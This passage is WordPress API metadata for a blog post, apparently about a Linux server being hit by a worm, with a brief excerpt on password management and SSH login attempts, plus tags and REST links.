(KeePass) for any\/all Internet services, 2FA where available, and I thought not a very interesting target. I get 100s of hits on a daily basis on the SSH port of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[83,95,38],"tags":[42,402,403,404,118,405,191,410,396,397,398,399,400,40,401],"series":[],"class_list":["post-601","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-internet","category-data-networking","category-linux","tag-linux-2","tag-tig","tag-virus","tag-worm","tag-security","tag-perl","tag-troubleshooting","tag-configrc","tag-lessons-learned","tag-lockdown","tag-sflow","tag-grafana","tag-influx","tag-networking","tag-telegraf"],"_links":{"self":[{"href":"https:\/\/flat-planet.net\/index.php?rest_route=\/wp\/v2\/posts\/601","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/flat-planet.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/flat-planet.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/flat-planet.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/flat-planet.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=601"}],"version-history":[{"count":7,"href":"https:\/\/flat-planet.net\/index.php?rest_route=\/wp\/v2\/posts\/601\/revisions"}],"predecessor-version":[{"id":630,"href":"https:\/\/flat-planet.net\/index.php?rest_route=\/wp\/v2\/posts\/601\/revisions\/630"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/flat-planet.net\/index.php?rest_route=\/wp\/v2\/media\/605"}],"wp:attachment":[{"href":"https:\/\/flat-planet.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=601"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/flat-planet.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=601"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/flat-planet.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=601"},{"taxonomy":"series","embeddable":true,"href":"https:\/\/flat-planet.net\/index.php?rest_route=%2Fwp%2Fv2%2Fseries&post=601"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}